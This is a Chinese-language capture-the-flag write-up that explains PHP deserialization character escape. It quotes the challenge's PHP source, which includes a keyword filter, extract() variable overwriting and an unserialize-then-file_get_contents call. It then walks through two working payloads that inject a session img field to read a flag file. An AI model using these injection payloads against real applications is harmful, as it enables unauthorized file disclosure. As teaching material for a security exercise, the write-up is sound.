源码分析
建议先看 详解PHP反序列化中的字符逃逸
题目直接给了源码,第一步,先搞明白代码的逻辑,本文无图片
filter 函数将 $img
中含有的 数组中的元素 替换为 空
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
// 正则表达式 /php|flag|php5|php4|fl1g/
return preg_replace($filter,'',$img);
}
然后看到 extract($_POST);
说明有变量覆盖
然后是如果 img_path
为空,就 base64_encode
字符串 guest_img.png
否则就先 base64_encode
img_path
再 sha1
加密
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
然后就是对 session 进行序列化并执行 filter 函数,这里就应该会存在字符逃逸了
$serialize_info = filter(serialize($_SESSION));
最后是对 $_GET['f']
的判断,执行不同功能,在 phpinfo 发现 auto_append_file : d0g3_f1ag.php
if($function == 'highlight_file'){
highlight_file('1.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
漏洞分析
现在的目的很明确,就是要读取 d0g3_f1ag.php
这个文件,利用逃逸使 session 中的 img
字段为 ZDBnM19mMWFnLnBocA==
即 base64_encode(d0g3_f1ag.php)
,然后在 show_image
中读取。
由于 extract($_POST)
的存在,可以利用变量覆盖修改 $_SESSION["user"]
,$_SESSION['function']
和 $function
,或者是在 _SESSION
中插入参数
user + function 逃逸
先看一个正常的 session 文件经过序列化之后的结果,user 和 function 字段是可控的
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里就有两个位置可以逃逸,先看一下 function 这里
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:7:"aphpphp";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
filter 处理之后
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:7:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们的目标,发现这样行不通,覆盖掉 img 字段后,无法控制 object 的注入,就考虑结合 user 一起
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:39:"a";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:6:"object";s:6:"inject";}
变成这样 {1} {2} 为可控输入,要注入对象的话,{2} 的内容长度一定会大于 10,所以考虑覆盖掉 ";s:8:"function";s:10:"
,长度为 23,扩展成 3 或 4 的倍数( 根据 filter 函数),就是 ";s:8:"function";s:10:"a
a:3:{s:4:"user";s:5:"{1}";s:8:"function";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这就变成这个样子
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:10:"a{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过 filter 函数处理
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"a{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
然后就是 {2} 的输入内容,要让 img
字段为 ZDBnM19mMWFnLnBocA==
即 base64_encode(d0g3_f1ag.php)
,还要闭合前面的 "
,那么 {2} 就是 ";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这样还存在问题,";
如何处理,可以结合 php 反序列化在 }
后的数据将直接被丢弃这个特点,直接构造一个结束符。{2} 为 ";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这还有一个问题,这个反序列化之后的数组应该有 3 个元素,这样构造只剩下 2 个,这就需要再加一个元素,随便加即可
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化结果
array(3) {
'user' =>
string(24) "";s:8:"function";s:10:"a"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
'a' =>
string(1) "a"
}
payload
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}&function=show_image
插入字段逃逸
前面说了,可以利用 user 和 function 逃逸,也可以在 session 中插入字段,进行逃逸,原始的结果
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
post 插入字段参数 _SESSION[user]=aaaa&_SESSION[function]=bbbb&_SESSION[cccc]=dddd
之后
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"cccc";s:4:"dddd";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
不动 user 和 function ,img 在插入的字段之后,可控点就是,session 的字段及对应的参数,利用 {1} 逃逸,利用 {2} 注入
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"{1}";s:4:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:4:"
长度为 7 ,但是对象注入长度肯定大于 10,那就是 ";s:10:"
长度 8,则 {1} 就是 flagflag
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:8:"flagflag";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
{2} 处进行闭合 + 对象注入的操作,闭合前面的 "
,插入分隔符 ;
,闭合 {}
结束符,插入 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:8:"flagflag";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过 filter 函数处理
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:8:"";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这就发现一个问题,s:8:"";
这里只有属性名,缺少属性值,需要加上
a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:8:"";s:10:"";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化结果
array(4) {
'user' =>
string(4) "aaaa"
'function' =>
string(4) "bbbb"
'";s:10:"' =>
string(1) "a"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
}